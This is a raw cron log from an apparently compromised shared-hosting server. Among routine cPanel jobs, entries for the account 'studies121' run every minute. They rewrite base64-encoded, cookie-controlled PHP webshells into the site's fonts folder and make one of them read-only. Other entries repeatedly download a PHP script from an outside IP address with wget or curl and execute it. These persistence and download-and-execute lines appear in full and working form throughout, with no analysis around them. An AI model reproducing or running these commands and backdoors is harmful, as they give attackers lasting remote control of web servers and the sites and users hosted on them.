Sep 20 14:20:01 ip-184-168-122-23 CROND[25856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:20:01 ip-184-168-122-23 CROND[25860]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:20:01 ip-184-168-122-23 CROND[25863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 14:20:01 ip-184-168-122-23 CROND[25861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:20:01 ip-184-168-122-23 CROND[25859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 14:20:01 ip-184-168-122-23 CROND[25862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:21:01 ip-184-168-122-23 CROND[26129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:21:01 ip-184-168-122-23 CROND[26130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:21:01 ip-184-168-122-23 CROND[26131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:21:01 ip-184-168-122-23 CROND[26133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:22:01 ip-184-168-122-23 CROND[26359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:22:01 ip-184-168-122-23 CROND[26362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:22:01 ip-184-168-122-23 CROND[26361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:22:01 ip-184-168-122-23 CROND[26363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:22:01 ip-184-168-122-23 CROND[26364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:23:01 ip-184-168-122-23 CROND[26604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:23:01 ip-184-168-122-23 CROND[26605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:23:01 ip-184-168-122-23 CROND[26606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:23:01 ip-184-168-122-23 CROND[26607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:24:01 ip-184-168-122-23 CROND[26917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:24:01 ip-184-168-122-23 CROND[26920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:24:01 ip-184-168-122-23 CROND[26919]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:24:01 ip-184-168-122-23 CROND[26921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:24:01 ip-184-168-122-23 CROND[26924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:25:01 ip-184-168-122-23 CROND[27184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:25:01 ip-184-168-122-23 CROND[27186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:25:01 ip-184-168-122-23 CROND[27189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 14:25:01 ip-184-168-122-23 CROND[27188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:25:01 ip-184-168-122-23 CROND[27192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:25:01 ip-184-168-122-23 CROND[27193]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 20 14:25:01 ip-184-168-122-23 CROND[27194]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 14:26:01 ip-184-168-122-23 CROND[27460]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 20 14:26:01 ip-184-168-122-23 CROND[27461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:26:01 ip-184-168-122-23 CROND[27464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:26:01 ip-184-168-122-23 CROND[27462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:26:01 ip-184-168-122-23 CROND[27465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:26:01 ip-184-168-122-23 CROND[27466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 20 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 20 14:27:01 ip-184-168-122-23 CROND[27762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:27:01 ip-184-168-122-23 CROND[27763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:27:01 ip-184-168-122-23 CROND[27764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:27:01 ip-184-168-122-23 CROND[27765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:28:02 ip-184-168-122-23 CROND[28035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:28:02 ip-184-168-122-23 CROND[28036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:28:02 ip-184-168-122-23 CROND[28034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:28:02 ip-184-168-122-23 CROND[28038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:28:02 ip-184-168-122-23 CROND[28037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:29:01 ip-184-168-122-23 CROND[28350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:29:01 ip-184-168-122-23 CROND[28354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:29:01 ip-184-168-122-23 CROND[28356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:29:02 ip-184-168-122-23 CROND[28357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:30:01 ip-184-168-122-23 CROND[28625]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 14:30:01 ip-184-168-122-23 CROND[28630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:30:01 ip-184-168-122-23 CROND[28629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:30:01 ip-184-168-122-23 CROND[28628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:30:01 ip-184-168-122-23 CROND[28632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:30:01 ip-184-168-122-23 CROND[28633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 14:30:01 ip-184-168-122-23 CROND[28634]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 14:30:01 ip-184-168-122-23 CROND[28635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:31:01 ip-184-168-122-23 CROND[28984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:31:01 ip-184-168-122-23 CROND[28987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:31:01 ip-184-168-122-23 CROND[28990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:31:01 ip-184-168-122-23 CROND[28991]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 14:31:01 ip-184-168-122-23 CROND[28992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:32:01 ip-184-168-122-23 CROND[29283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:32:01 ip-184-168-122-23 CROND[29285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
